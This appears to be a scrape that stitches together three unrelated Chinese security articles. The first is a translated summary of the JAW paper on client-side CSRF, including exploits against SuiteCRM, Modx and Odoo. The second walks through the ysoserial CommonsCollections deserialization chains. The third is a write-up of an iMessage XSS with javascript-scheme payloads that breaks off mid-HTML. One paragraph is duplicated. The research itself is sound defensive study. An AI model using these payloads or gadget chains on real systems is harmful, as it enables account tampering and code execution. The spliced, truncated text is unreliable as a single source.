开发了一种爬虫，它使用通过Selenium控制的无头Chrome实例。从种子URL开始，爬虫访问Web应用程序以收集Web资源和运行时执行数据。它遵循迭代加深深度优先搜索策略，并在未找到其他URL或分配的时间预算用完时终止（默认值为24h）。如果作为输入提供，它将在爬网会话之前执行测试用例。
**JavaScript代码和状态值：** 当访问每个页面时，爬虫程序每ti = 10秒存储一次Web资源和状态值，其中m =
2次（可配置参数）。爬虫针对每个ti间隔收集HTML页面，JavaScript程序，HTTP请求和响应以及明确显示的JavaScript属性。通过Selenium接口提取JavaScript属性时，为爬虫开发了一个Chrome扩展程序，该扩展程序使用函数hook来拦截对addEventListener的调用以收集事件，并调用chrome.webRequest
API来拦截网络流量。
### B.图构造
收集到的JavaScript代码和状态值来构建HPG。生成的图形被导入Neo4j数据库中，以便进行细粒度的声明式路径遍历，以检测和研究客户端CSRF，本节描述了构建HPG的技术细节。
**规范化JavaScript代码：**
第一步，JAW通过在脚本标签和HTML属性（即内联JavaScript代码）内串联代码段来创建规范化的JavaScript程序，并保留程序段的执行顺序。组合内联代码时，JAW用addEventListener
API替换内联事件处理程序注册。
**库检测：** 为了识别库，使用库检测器，该工具可在执行环境中搜索已知的库签名（例如，全局变量）。
**HPG构造：**
JAW构造HPG的方法如下。首先，为每个检测到的库的符号建模创建图。如果该库的符号模型已经存在，则跳过此步骤。然后，它为正在分析的程序创建一个图。不管使用该图如何，构建HPG的规则都不会改变，如下所示。
**1.AST：** JAW使用Esprima（一种符合标准的ECMAScript解析器）生成标准化源代码的AST。
Esprima的输出是AST的JSON表示形式。在此表示中，节点是具有类型属性（例如VAR_DECL）的键值字典，并且边用临时字典键表示。将JSON输出映射到图形的AST节点和AST边。
**2.CFG ：** 本研究广泛审查了开源CFG生成器，例如escontrol，styx或ast-flow-graph，并选择了Esgraph，因为它很受欢迎并且符合Esprima
。从AST开始，Esgraph生成CFG，其中节点是用于语句或声明的AST节点，对于条件分支，边标记为true或false，对于同一基本块的节点标记为ε。
**3\. PDG：** JAW使用dujs，这是一个基于Esgraph的def-use分析库。修改了dujs以增加对全局变量，闭包和匿名函数调用的支持。
dujs的输出是AST边之间每个变量v的定义使用关系的列表，该JAW导入为HPG中的数据依赖边Dv。对于控制相关性边，JAW根据CFG计算后支配树，每条语句s一个。然后，JAW将树的每个边分别映射到True或false分支的Ct或Cf。
**4.IPCG：**
JAW生成IPCG的方法如下。在AST和CFG的构建过程中，JAW会跟踪所有函数定义和调用站点。然后，它将调用站点与其可能调用的函数定义相关联。
JavaScript中有五种类型的调用表达式：全局对象上的函数调用（例如foo( )），属性调用（例如a.foo( )或a['foo'](
)），构造函数调用（例如，新的Foo( )），通过call( )和apply(
)方法的调用。在所有情况下，实际的函数定义名称都可以使用别名。使用PDG解析指针，并相应地连接调用边。如果指针的值是有条件的，将边连接到每个相应的函数定义。
**5.ERDDG：**
为了生成ERDDG，JAW会在创建AST和CFG期间跟踪事件调度和处理程序注册。对于发现的每个事件处理程序，JAW都会创建一个将顶级AST节点（即CFG节点）连接到处理程序功能的注册边，以及一个将处理程序功能连接到主体语句的依存关系。为了将每个事件调度关联到注册站点，检查它们是否针对相同的DOM元素。为此利用PDG解析在其上调度了事件的指针以及在其上注册了处理程序的指针，并检查它们是否引用相同的变量声明或具有逐字或语义上相同值的不同变量。使用DOM快照来检查两个不同的DOM查询是否可以在语义上针对同一元素。例如，可以使用元素的id或名称属性来查询元素。一旦确定指针引用了相同的元素，就可以在分发站点和注册站点之间连接一条边。
**6.语义类型和传播：**
此步骤的输入是语义类型t和AST节点σ的签名之间的映射T，例如，将WIN.LOC类型映射到JavaScript属性window.location。对于每对（t，σ）∈T，JAW将每种类型t存储到与签名σ匹配的AST节点。然后，JAW通过HPG传播类型t。
算法1将类型t从节点n传播到其他节点。首先，函数propagateLeft将类型t分配给左侧的变量v（例如，分配的变量）（如果有的话），然后将其返回。然后，函数propagateByPDG在PDG边之后传播t，并返回访问路径P。然后，对于路径pi∈P末端的每个节点nt，区分了三种情况。第一种情况是nt是一个函数调用，通过在符号建模过程中分配的特殊语义类型进行建模。如果是这样，将污染输出变量o，然后递归调用o的propertyForward。其次，nt是具有IPCG边的调用表达式。在这种情况下，在函数定义上对参数c进行了污染，该参数与调用站点上污染的参数相对应，并为c调用propertyForward。然后，调查函数定义上下文中的最后一个污染节点是否是污染的return语句。如果是这样，在保存返回结果的调用站点上为变量vle
ft调用propertyForward。第三，nt是传递受污染数据的事件分发表达式。在这种情况下，跳过分派和注册边，污染相应的事件变量，然后为该变量调用propertyForward。当以上条件均不成立时，此过程终止。
在创建用于库的符号建模的HPG和其余代码的HPG时，JAW都会执行语义类型传播。在为其余代码创建HPG时，语义类型映射T包括在符号建模期间创建的映射。
**符号建模：**
此步骤的输出是语义类型和AST节点的映射，该映射在为正在分析的程序构建HPG时使用。符号建模始于从库源代码构建HPG。然后，在传播了语义类型之后，JAW搜索具有过程内输入输出关系的函数定义。更具体地说，JAW通过至少一个输入参数来识别所有非匿名函数表达式，并通过向后程序切片方法来跟踪其返回语句（如果有）的值。在较高的层次上，利用PDG，CFG，IPCG和ERDDG图从返回值的起点开始，一直到修改该值的地方，再到生成该值的地方结束。如果返回的变量（例如o）对函数输入（例如i）具有PDG控件依赖性，则将类型o〜i分配给该函数。如果建立PDG数据依赖关系，则将其标记为o←i。最后，JAW选择具有至少一种语义类型的所有函数表达式和对象属性节点，这些节点将在JavaScript代码的HPG构造中使用。
## 0x05 评估
评估的总体目标是研究客户端CSRF漏洞并评估JAW的有效性和实用性。在4,836个网页上运行JAW，这些网页从106个流行的Web应用程序中爬取，并为228,763,028
LoC生成了HPG。在此过程中，发现在87个应用程序中分配了12,701个可伪造的客户端请求。发现七个应用程序遭受至少一个0
day客户端CSRF漏洞的攻击，可以利用该漏洞执行状态更改操作并破坏服务器的完整性。下图描述了为了构建和分析HPG的每个工具组件的平均处理时间。
### A.实验设置和方法
**测试平台：**
从Bitnami目录中选择Web应用程序，该目录提供了可随时部署的预配置Web应用程序的容器。选择Bitnami应用是由于其受欢迎程度，多样性和先前工作的使用。在评估时，Bitnami包含211个容器。丢弃了105个没有Web应用程序且没有重复项的容器，例如，使用不同Web服务器的相同Web应用程序。其余的106个Web应用程序是：内容管理系统（23个），分析（15个），客户关系管理（11个），开发人员工具和错误跟踪（10个），电子商务（8个），论坛和聊天（8个），电子邮件和营销自动化（5个），电子学习（4个），媒体共享（3个），项目管理（2个），会计和投票管理（2个）以及其他（15个）。
Web应用程序的完整列表中包括WordPress，Drupal，GitLab，phpMyAdmin和ownCloud。然后，对于每个Web应用程序，为每个受支持的特权级别创建一个用户帐户，并创建一个Selenium测试用例来执行登录。总共创建了136个测试脚本，每个应用程序包含1到5个测试用例。
**JAW输入：**
JAW的输入是种子URL，Selenium测试用例和语义类型映射。种子URL包含用于用户登录的URL（总共113个登录URL），而测试用例是在配置测试平台时准备的。然后，对于所有Web应用程序，使用下表列出的语义类型。
**客户端CSRF检测方法：**
在本地部署了正在评估的Web应用程序，并针对每个目标实例化了JAW。在数据收集和创建HPG之后，运行一组查询以识别攻击者可控制的请求。然后，使用其他查询来确定攻击者控制下的请求字段和控制类型，通过人工验证来评估查询结果的准确性。对于每个可伪造的请求，将页面加载到检测到的浏览器中，并验证在客户端请求中是否观察到操纵的输入。例如，如果请求使用WIN.LOC类型的数据值，将标记插入易受攻击的页面URL中，并在传出请求中搜索该标记。确认请求的可伪性后，将其用于攻击中。首先，搜索执行安全性相关的状态更改操作（例如修改服务器端存储上的数据）的服务器端端点。然后构造一个字符串，当该字符串由易受攻击的页面处理时，它将导致向标识的端点的请求。最后将字符串打包到恶意URL中，并验证攻击是否针对具有有效会话的Web应用程序用户，该用户单击URL。
**影响动态快照方法：** 进行了其他实验，以评估动态快照方法在（i）漏洞检测和（ii）HPG构建中的影响。首先准备了JAW的变体，以下称为JAW-static，它遵循纯静态方法进行HPG构建和分析。具体来说，JAW-static不考虑以下动态信息：触发事件，处理程序注册，HTTP消息，全局对象状态，针对DOM查询的指向分析，脚本标记的动态插入以及DOM树快照。用JAW-static重复了评估，并通过将其与JAW的评估结果进行比较，确定了JAW-static中漏报和误报漏洞的下限。此外比较了HPG节点，边和属性的差异。
然后记录了所有未触发的触发事件，并且JAW找不到用于HPG构建的代码行。此类情况表明JAW生成的HPG中存在漏报边。因此，手动检查所有情况以找出出现漏报边的原因。最后进行了另一个实验，以评估由于使用DOM树快照进行DOM查询的指向分析而导致的误报和漏报性边。对于所有网页，检测JavaScript代码以记录DOM查询所引用的实际元素，并将其与JAW解析的值进行比较。
JAW使用这些分辨率来创建ERDDG边，从而为误报边和漏报边打开了可能性。
### B.收集数据分析
**分析的大小：**
JAW从113个种子URL开始，提取了4,836个网页，每个Web应用程序从1到456个网页，每个应用程序大约46个网页。对这些URL的结构分析表明，它们中的865个具有散列片段，这表明这些URL带有客户端JavaScript程序的状态信息，这是单页Web应用程序的特征。总共有39个Web应用程序使用带有哈希片段的URL。
JAW从4,836页中提取了228,763,028个LoC，通过处理每页47,304个LoC来生成4,836个HPG。在查看代码的来源时，发现其中的大部分（即60.55％）来自共享库，例如jQuery（每页28,645个LoC，总共138,525,092个LoC），而其余部分是脚本中的应用程序代码标签（每页39.42％或18,649
LoC，总计超过90,188,256 LoC）和可忽略不计的金额是内联代码（每页0.02％或10 LoC，共超过49,680 LoC）。
最终在运行时，观察到总共有104,720个脚本标签被动态加载（即，通过以编程方式插入脚本标签）约2.63％的脚本标签。另外，JAW观察到有51,974个事件在加载页面时触发（每页大约11个事件），这些事件分布在46个事件类型中，其中38个是HTML5类型（例如，动画和DOM突变事件），其中8个是自定义事件。正如接下来将要展示的，即使运行时监视事件的数量可以忽略不计，它们在分析中的作用也是至关重要的。
**符号建模的重要性：**
客户端程序的分析需要处理228,763,028个LoC，其中138,525,092个仅用于库，占总数的60％。分析表明，库在Web应用程序和页面之间都可以大量重用。首先，测试平台中的106个Web应用程序总共使用了31个不同的库。其次，每个页面包含从零到七个脚本库，平均每个页面有两个库。第三，这31个库的代码总量为412,575
LoC，比所有页面上的总138,525,092
LoC小335倍。因此，对库代码进行预处理以提取符号模型的过程将生成HPG所需的工作量减少了一半以上（-60.37％），从228,763,028
LoC变为90,650,511（即应用程序，内联JavaScript，和31个库）。
对于31个库中的每一个，JAW都会生成一个HPG并提取一个符号模型。上表概述了符号建模步骤的结果。
JAW在大约半小时内总共建模了11,977个函数，其中一半具有输入输出关系的语义类型（即5,923个函数），这是一种正确重构程序数据流的相关函数行为。
确定了64,854,097个事件边（即注册，依赖和分派），其中6,451,582是分派边，即为执行事件处理程序的意图建模的边。为了进行比较，将控件也转移到程序其他站点的调用边数为7,179,021，这意味着ERDDG表示能够识别+
89.87％的将程序控件转移到边上。
### C.可伪造请求
检测客户端CSRF的第一步是识别可以生成攻击者控制的请求的代码行。为此，准备了一组查询。根据威胁模型考虑了由攻击者控制的JavaScript程序的不同输入，这些输入可以由不同的攻击者伪造。
JAW在可发送HTTP请求的106个应用程序中识别出49,366行代码，并将其中36,665行标记为在页面加载期间无法访问或未使用攻击者控制的输入。其余的12,701个请求可以由攻击者控制。将这些请求按照对应于不同攻击者的输入源的语义类型进行了分组，如下表所示。注意到大多数应用程序（即87个）在页面加载时发送至少一个可伪造的请求。
**误报：**
考虑到大量可伪造的请求，无法通过人工检查来验证所有请求。相反，首先选择所有组中的所有请求，但DOM.READ除外。然后，对于DOM.READ，集中于针对每个Web应用程序的一个请求（随机选择），即83个请求。总共检查了516个可伪造的请求。为了进行检查，在检测到的浏览器中加载了易受攻击的页面，以注入操纵的字符串，并观察传出的请求是否包括操纵的字符串。除了83个DOM.READ请求之一之外，所有请求都包含操纵的内容。经过仔细的调查，发现由于对上下文敏感的this关键字的指针分析不正确而导致误报，此关键字具有运行时绑定，并且对于函数的每次调用可能有所不同，具体取决于该函数的方式调用，例如，动态调用的函数，或使用调用和应用方法的层次结构的不同调用参数导致此操作的不同绑定。
**利用：**
接下来为515个请求寻找了实际的利用方法。在这些实验中，假设所有输入源都为Web攻击者模型，但Cookie除外，假设其为网络攻击者模型。能够为影响七个Web应用程序的203个可伪造请求生成可利用的漏洞，它们全部使用WIN.LOC的数据值，任何网络攻击者都可以伪造该数据。对于其他组请求，无法找到漏洞利用程序。在手动寻找漏洞时很难达到完整性，因为这样的任务需要广泛的Web应用程序知识来识别目标URL和攻击者可以注入恶意负载的点，找不到漏洞利用程序这一事实并不意味着该漏洞利用程序不存在。对于这些情况，确认JavaScript代码通过无条件处理来自不同数据结构的数据值来发送HTTP请求。攻击者最终可能会找到一种在这些数据结构中注入恶意有效载荷并利用这些可伪造请求的方法。
### D.可伪造请求分析
在本节中将详细研究攻击者可以对上表伪造请求进行的操作程度。提取了发送可伪造请求的代码行的堆栈跟踪，并从三个方面描述了易受攻击的行为：请求字段，操作类型和请求模板。
**请求字段：**
首先，可以操作的请求字段可以确定漏洞的严重性。例如，如果攻击者可以更改请求的域名，则可以使用客户端CSRF进行跨域攻击。根据被操纵的字段将Web应用程序分为四类，发现在9，34、41和41个Web应用程序中，攻击者可以操纵URL域，URL路径，URL查询字符串和body参数。
同样，根据可以在请求中处理的字段数将应用程序分组。总共有55、34和12个应用程序允许分别修改一个，一个以上和所有字段。
**操作类型：**
影响严重性的另一个因素是在一个或多个字段中复制操作值的操作。发现28个应用程序允许攻击者更改一个或多个字段的值。同样，有38个和28个应用程序允许攻击者通过将攻击者控制的字符串分别添加和添加到最终字符串来添加一个或多个字段。
**可伪造的请求模板：**
通过模板对HTTP请求进行特征化，在模板中对可以操作的字段的类型和数量以及操作的类型进行编码。上表列出了所有模板，对于每个模板，它显示了匹配请求和使用它们的Web应用程序的数量。总共确定了25个不同的模板。观察到，大多数Web应用程序在其所有网页上仅使用一个模板（即68个应用程序）或两个模板（即17个应用程序）。
### E.利用和攻击
203个可利用的客户端CSRF影响七个目标，如下所示。 漏洞利用与传统CSRF相同的方式攻击Web应用程序，即通过执行与安全性相关的状态更改请求。
此外，发现利用客户端CSRF的XSS和SQLi攻击是无法通过经典攻击向量来利用的。
**SuiteCRM和SugarCRM：**
总共在SuiteCRM和SugarCRM中发现了115和38个可伪造的请求，这些请求可被利用来破坏服务器的完整性。
在这两个应用程序中，JavaScript代码均读取哈希片段参数（例如ajaxUILoc），并将其逐字用作提交异步请求的端点。
攻击者可以向状态更改服务器端端点发出任何任意请求，以删除帐户，联系人，案例或任务。
203个可利用的客户端CSRF影响七个目标，如下所示。我们的漏洞利用与传统CSRF相同的方式攻击Web应用程序，即通过执行与安全性相关的状态更改请求。此外，我们发现了利用客户端CSRF进行XSS和SQLi攻击的方法，而传统的攻击向量无法利用此方法。
SuiteCRM和SugarCRM。总共，我们在SuiteCRM和SugarCRM中发现了115和38个可伪造的请求，这些请求可被利用来破坏服务器的完整性。在这两个应用程序中，JavaScript代码均读取哈希片段参数（例如ajaxUILoc），并将其逐字用作向其提交异步请求的端点。攻击者可以向状态更改服务器端端点发出任何任意请求，以删除帐户，联系人，案例或任务，仅举几个我们手动确认的实例。
**Neos：** 在Neos中发现了8个可伪造的请求。在所有这些参数中，HTTP请求的每个参数p都源自页面的URL参数moduleArguments
[@p]。例如，拥有后端服务器用来将请求路由到内部模块的action和controller参数。这种行为使攻击者可以将请求定向到任何有效的内部模块，包括实现状态更改操作的模块。例如，利用此行为从文件系统中删除资产。
**Kibana：** 发现了一个由Timelion生成的可伪造请求，该请求是Kibana的一个组件，将独立的数据源组合并可视化。
Timelion允许使用自己的查询语法在数据源上运行查询。
JavaScript代码可以从页面的URL片段读取查询，并将查询传递给服务器端。结果，攻击者可以在未经受害者同意或不知情的情况下执行恶意查询。
**Modx：**
在Modx中发现了20个可伪造的请求，可以通过两种不同的方式对其进行利用。首先，Modx的JavaScript从页面URL的查询参数中获取URL字符串，并逐字使用该字符串来提交带有有效反CSRF令牌的异步请求。与SuiteCRM和SugarCRM相似，攻击者可以向状态更改服务器端端点伪造请求。同样，在一个可伪造的请求中，Modx在客户端请求中复制页面的URL参数，该参数会在响应中反映出来并插入到DOM树中，从而使攻击者可以使用客户端CSRF来安装客户端XSS。根据手动评估，攻击者只能通过客户端CSRF来利用客户端XSS。
**Odoo：**
发现了一个可伪造的请求，该请求使用URL片段的id参数加载数据库实体。发现服务器在未经正确验证的SQL查询中使用此参数，从而导致SQLi漏洞。注意到由于使用了反CSRF
Token，如果不先利用客户端CSRF漏洞，就很难通过直接请求来利用SQLi漏洞。
**Shopware：**
发现页面加载时Shopware发送了20个可伪造的请求。该代码将页面的URL哈希片段映射到传出请求的不同部分。首先，代码将哈希片段的第一个片段用作传出请求的URL路径。然后，它将剩余的片段用作传出请求正文的参数。例如，这使攻击者可以删除商店目录中的产品。
### F.动态快照影响
本文设计并进行了其他实验，以显示动态快照对漏洞检测和HPG构建的影响。
#### （1）漏洞检测
使用JAW-static重复了评估，并将结果与JAW进行了比较。 JAW-static总共发现了48,543个请求，其中11,878个据报告是可伪造的。通过比较差异，观察到JAW-static已检测到840个较少的可伪造请求（即下限为+ 7.07％漏报性）。在840个漏报中，有161个是本研究发现了利用的漏洞，即，JAW-static未检测到JAW检测到的可利用客户端CSRF漏洞的79.3％。此外，JAW-static报告了另外17个不容易受到攻击的案例（即误报率下限为+
0.15％）。手动检查了所有误报和漏报案例，以发现潜在原因。
**误报（FP）：** 在17个FP中，有12个是由于不存在动态获取的代码（即，通过动态插入脚本标签）而导致，在动态代码中，污染变量的值发生了变化。
JAW中消除了此类FP，因为它利用DOM树和HTTP消息监视程序执行。然后，在这17种情况中，有3种是由于随后使用具有动态生成的字符串的动态代码评估构造删除了事件处理程序。最后，最后两个FP发生是由于从DOM树中删除了元素，因此隐式删除了它们的事件处理程序。同样，此类FP不会随JAW一起发生，因为它在运行时监视触发的事件及其处理程序。
**漏报（FN）：**
观察到几乎有一半的FN（即405）是由于漏洞位于动态加载的代码中而发生的。对于78个和7个FN，针对DOM查询的指向分析不准确，因为分别需要DOM树的状态和环境变量进行此类分析。剩下的350个FN源自JavaScript程序使用setTimeout和eval通过在运行时生成代码来触发事件。
#### （2）HPG的构造
总计，JAW静态生成了4,836个HPG的498,054,077个节点和639,323,601个边，比JAW（漏报）少10,756,335个节点（-2.11％）和13,338,972个边（-2.04％）。在所有丢失的边中，有1,048,172个是对建模事件至关重要的ERDDG边，其余的12,290,800个边是AST，CFG，PDG和IPCG边。此外，JAW-static错过了16,710个边属性（在ERDDG注册边上设置），这些边属性标记了是否在运行时触发了事件处理程序，而未使用静态分析进行标记。
进行了其他实验之后，记录了JAW无法映射到其代码行的触发事件。
JAW总共在运行时观察到了4,974个HPG中的51,974个事件，其中34,808个已经被静态分析标记并被动态触发。其余的17,166个事件在运行时触发，而未被纯静态分析捕获。在17,166个事件中，JAW无法在代码中找到456个事件的相应事件处理程序（0.88％），这表明HPG中的FN节点和边。手动分析显示，大多数情况（387个事件）的原因是使用eval和setTimeout函数以及动态构造的字符串来触发事件。由于代码的动态加载以及JAW不监视的方式（例如，从iframe内部加载代码），其余69个事件未映射。
最后，当执行DOM查询的指向分析时，评估DOM树快照的使用所引入的FP和FN边。
JAW总共在4,836个HPG中遇到了241,428个DOM查询选择器，其中127个选择器（0.05％）中JAW不精确地解析了查询所指向的DOM元素。为了确定ERDDG派发边，JAW将总共87,340对DOM查询选择器的指针相互比较（即，在一个DOM查询选择器上分派的事件链接到其事件处理程序，该事件处理程序使用另一个查询选择器进行事件注册）。评估表明，JAW在87,212个案例（决策准确度为99.85％）中准确地决定了连接分发站点与注册站点之间的分发边，其中有56,923个真阳性和30,289个真阴性。在其余的128种情况下，JAW决定是否创建边线是不准确的，有94
FN和34 FP边（决策不准确度为0.15％）。
观察到查询选择器可能会出现这样的FP和FN边，这些选择器在页面加载的53.7毫秒（平均）之内（最大）为92.5毫秒。比所有查询选择器的平均访问时间低十倍，即559.2毫秒。在本实验中，使用运行时程序工具获取了评估JAW在HPG施工中的准确性的基本事实。但是，这样的技术会带来性能上的损失，并且不适用于大型HPG（例如，在模型构建和漏洞检测中），DOM快照对JAW
FP和FN边的影响可以忽略不计。
## 0x06 讨论
**客户端可伪造请求的属性：**
在本文中表明82％的Web应用程序至少具有一个带有客户端可伪造请求的网页，可利用该网页发起CSRF攻击，这表明可伪造请求很普遍。还展示了客户端CSRF可用于发起其他攻击，例如XSS和SQLi，这些攻击无法通过传统的攻击媒介进行装载。然后，对可伪造请求的分析表明某些客户端CSRF模板比其他客户端更普遍，例如，在28.7％的易受攻击的应用程序中，攻击者可以覆盖请求正文中的参数。
**脆弱应用程序的特性：**
发现测试平台上的106个目标中有39个是单页应用程序（SPA），即36.7％。手动检查了87个易受攻击的目标，发现其中有44.8％是SPA的目标。另外，在17.9％的经过测试的SPA中发现了漏洞利用（§5.5）。这揭示了客户端CSRF实例在SPA应用程序中更为普遍的事实。
**控制权转移和运行监视：**
评估表明，动态信息使控制路径的传输增加了0.26％。尽管评估可以忽略不计，但评估显示，动态信息对于识别87个易受攻击的应用程序中的14个和7个可利用的应用程序中的3个的可伪造请求至关重要（分别增加了+
19.1％和+ 75％）。
**漏洞源自相同代码：**
对515个可伪造的HTTP请求的手动分析显示，每个漏洞都源自跨多个页面使用的同一代码的不同副本。每个应用程序的漏洞模板范围为一到四个，而大多数应用程序（即78.1％）只有一个模板。这些事实表明，开发人员倾向于在不同页面上重复相同的错误。
**误报：**
观察到，将状态值与传统的静态分析一起使用将有助于消除虚假的执行轨迹。但是广泛的手动验证发现，由于动态调用函数中此语句的指针分析不准确，因此1/516请求是错误肯定的。观察到这样的请求正在使用源自DOM树的数据值，这意味着DOM-READ可伪请求类别的1/83请求可能是误报。计划在将来通过将this关键字的对call敏感的解析合并到JAW中来解决此缺点。
**局限性：**
本文中发现的漏洞是本研究模型和遍历所捕获的漏洞。但是，由于模型的构建受到用于构建属性图的单个静态分析工具，例如CFG，PDG。由于JavaScript程序的流性质和JavaScript动态代码生成功能，通过静态分析准确地构建这些模型是一项具有挑战性的任务。与先前的工作类似，只要字符串参数可以静态重建，JAW就会提取由动态结构执行的代码，即eval，setTimeout和new
Function(
)。作为未来的工作，计划用改良的JavaScript引擎（例如VisibleV8）替换扩展，以更好地支持反射和这种动态构造，并最大程度地减少函数挂钩的潜在副作用，尤其是对于到事件处理程序。此外，本文中发现的漏洞会影响JAW通过爬虫到达的那些页面。但是，爬取是一项艰巨的任务，并且JAW可能丢失了带有易受攻击代码的页面。为了扩大覆盖范围，计划为其他爬网程序的平滑集成提供支持。
**增量静态分析：**
JAW可以通过预先构建的符号模型将分析客户端JavaScript程序所需的工作减少60％。查看独特的应用程序代码时，发现页面之间也共享了很大一部分代码。例如，4,836个页面总共包含104,720个应用程序脚本，其中只有4,559个是唯一的，这表明不同网页的共享代码可以一次建模，并可以通过增量程序分析进行重用，这是计划在将来解决的问题。
## 0x07 总结
在本文中，JAW是用于检测和分析客户端CSRF漏洞的第一个工具。
JAW的核心是HPG的新概念，它是用于客户端JavaScript程序的规范，静态+动态模型。
对JAW的评估发现了12,701个可伪造的客户端请求，这些请求影响了87个Web应用程序。
对于其中的203个，针对七个应用程序创建了一个可利用的漏洞，可用于破坏数据库完整性。 本文分析了可伪造的请求，并确定了25种不同的请求模板。
这项工作已经成功地证明了范例检测客户端CSRF的功能。 | 社区文章 |
## CommonsCollections1
最近开始学习java的利用链，也是自己分析的结果，新手如果有错请指正勿喷。
这里对ysoserial的commons1的利用进行分析，从readobject开始，看关键第一步。
get:150, LazyMap (org.apache.commons.collections.map)
invoke:77, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy0 (com.sun.proxy)
readObject:443, AnnotationInvocationHandler (sun.reflect.annotation)
首先执行了AnnotationInvocationHandler.readObject再动态代理执行entrySet时执行了AnnotationInvocationHandler.invoke方法。
然后再调用到了lazymap的get方法。
现在开始执行命令的操作了。从get到达了org.apache.commons.collections.functors.ChainedTransformer#transform函数。
这里对iTransformers进行遍历，他来自于外部的赋值。
再看ysoserial中的transformers数组的内容就理解了，这是生成一个对象的数组赋值给了iTransformers。
第一次循环返回Runtime.class的对象。看下图通过构造函数对ConstantTransformer.iConstant赋值transform返回该对象。
后面的通过不断循环最后调用到了exec方法，InvokerTransformer.iMethodName之类的值都来自最开始构造函数赋值，最后弹出计算器。
## Commons-Collections2分析
JDK1.8 8u71版本以后导致了cc1无法使用,cc2适用于common-collection4-4.0
第一步进入到PriorityQueue.readobject
然后到达了heapify函数。
到这就能理解ysoserial中的这一步就是将size变成2才能够进行下一步。
queue.add(1);
queue.add(1);
最后经过几个函数到达了org.apache.commons.collections4.comparators.TransformingComparator#compare函数，进入了熟悉的transform函数。最后反射执行到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的newTransformer
进入到newTransformer然后到函数getTransletInstance。
最后到实例化执行了StubTransletPayload类触发反序列化。
这里还需要进入defineTransletClasses看一下，就能明白将_bytecodes赋值给_class,而_bytecodes就是来自于ysoserial赋值，一个构造函数能够执行命令的类。 | 社区文章 |
# 【技术分享】从老漏洞到新漏洞：iMessage 0day(CVE-2016-1843)挖掘实录
|
##### 译文声明
本文是翻译文章，文章来源：SuperHei@seebug
原文地址：[http://paper.seebug.org/65/?from=timeline&isappinstalled=0](http://paper.seebug.org/65/?from=timeline&isappinstalled=0)
译文仅供参考，具体内容表达以及含义原文为准。
**文/SuperHei（知道创宇404安全实验室） 2016.4.11**
注：文章里“0day”在报告给官方后分配漏洞编号：CVE-2016-1843
**一、背景**
在前几天老外发布了一个在3月更新里修复的iMessage xss漏洞（CVE-2016-1764）细节 ：
<https://www.bishopfox.com/blog/2016/04/if-you-cant-break-crypto-break-the-client-recovery-of-plaintext-imessage-data/>
<https://github.com/BishopFox/cve-2016-1764>
他们公布这些细节里其实没有给出详细触发点的分析，我分析后也就是根据这些信息发现了一个新的0day。
**二、CVE-2016-1764 漏洞分析**
CVE-2016-1764 里的最简单的触发payload： javascript://a/research?%0d%0aprompt(1)
可以看出这个是很明显javascript协议里的一个小技巧 %0d%0 没处理后导致的 xss ，这个tips在找xss漏洞里是比较常见的。
这个值得提一下的是 为啥要用prompt(1) 而我们常用的是alert(1)
，我实际测试了下发现alert确实没办法弹出来，另外在很多的网站其实把alert直接和谐过滤了，所以这里给提醒大家的是在测试xss的时候，把 prompt
替换 alert 是有必要的～
遇到这样的客户端的xss如果要分析，第一步应该看看location.href的信息。这个主要是看是哪个域下，这个漏洞是在applewebdata://协议下，这个原漏洞分析里有给出。然后要看具体的触发点，一般在浏览器下我们可以通过看html源代码来分析，但是在客户端下一般看不到，所以这里用到一个小技巧：
javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)
这里是看html里的head代码
<style>@media screen and (-webkit-device-pixel-ratio:2) {}</style><link rel="stylesheet" type="text/css" href="file:///System/Library/PrivateFrameworks/SocialUI.framework/Resources/balloons-modern.css">
继续看下body的代码：
javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)
<chatitem id="v:iMessage/[email protected]/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" role="heading" aria-level="1" item-type="header"><header guid="v:iMessage/[email protected]/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx"><headermessage text-direction="ltr">与“[email protected]”进行 iMessage 通信</headermessage></header></chatitem><chatitem id="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" role="heading" aria-level="2" item-type="timestamp"><timestamp guid="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" id="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx"><date date="481908183.907740">今天 23:23</date></timestamp></chatitem><chatitem id="p:0/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-last-message-ignore-timestamps="yes" group-first-message-ignore-timestamps="yes"><message guid="p:0/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" service="imessage" typing-indicator="no" sent="no" from-me="yes" from-system="no" from="B392EC10-CA04-41D3-A967-5BB95E301475" emote="no" played="no" auto-reply="no" group-last-message="yes" group-first-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:23:03" aria-label="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href=" " title="javascript://a/research?
prompt(1,document.body.innerHTML)">
javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem><chatitem id="p:0/64989837-6626-44CE-A689-5460313DC817" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/64989837-6626-44CE-A689-5460313DC817" typing-indicator="no" sent="no" from-me="no" from-system="no" from="D8FAE154-6C88-4FB6-9D2D-0C234BEA8E99" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:23:03" aria-label="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)" title="javascript://a/research?
prompt(1,document.body.innerHTML)">
